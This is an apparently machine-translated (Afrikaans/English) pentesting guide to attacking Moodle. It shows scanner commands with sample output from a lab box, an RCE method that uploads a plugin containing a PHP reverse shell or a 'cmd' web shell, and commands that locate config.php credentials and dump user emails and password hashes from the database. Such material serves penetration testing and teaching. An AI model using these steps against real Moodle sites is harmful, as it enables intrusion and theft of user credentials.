Moodle

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Outomatiese Skanderings

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

Moodlescan is a Python script that can be used to enumerate users and courses on a Moodle platform. It can also perform brute-force attacks against Moodle login pages. The tool is useful for penetration testers to assess the security of Moodle installations.

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

CMSKaart

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVE's

Ek het gevind dat die outomatiese gereedskap nogal nutteloos is om kwesbaarhede wat die moodle weergawe affekteer, te vind. Jy kan vir hulle kyk by https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Jy moet die bestuurder rol hê en jy kan plugins installeer binne die "Webwerf administrasie" lêer**:**

As jy 'n bestuurder is, mag jy dalk steeds hierdie opsie moet aktiveer. Jy kan sien hoe in die moodle privilege eskalasie PoC: https://github.com/HoangKien1020/CVE-2020-14321.

Daarna kan jy die volgende plugin installeer wat die klassieke pentest-monkey php rev shell bevat (voordat jy dit oplaai, moet jy dit dekompresseer, die IP en poort van die revshell verander en dit weer komprimeer)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Of jy kan die plugin van https://github.com/HoangKien1020/Moodle_RCE gebruik om 'n gewone PHP shell met die "cmd" parameter te kry.

Om toegang te verkry tot die skadelike plugin moet jy toegang verkry tot:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Vind databasisgeldeheid

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Stort Geldeenhede vanaf databasis

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

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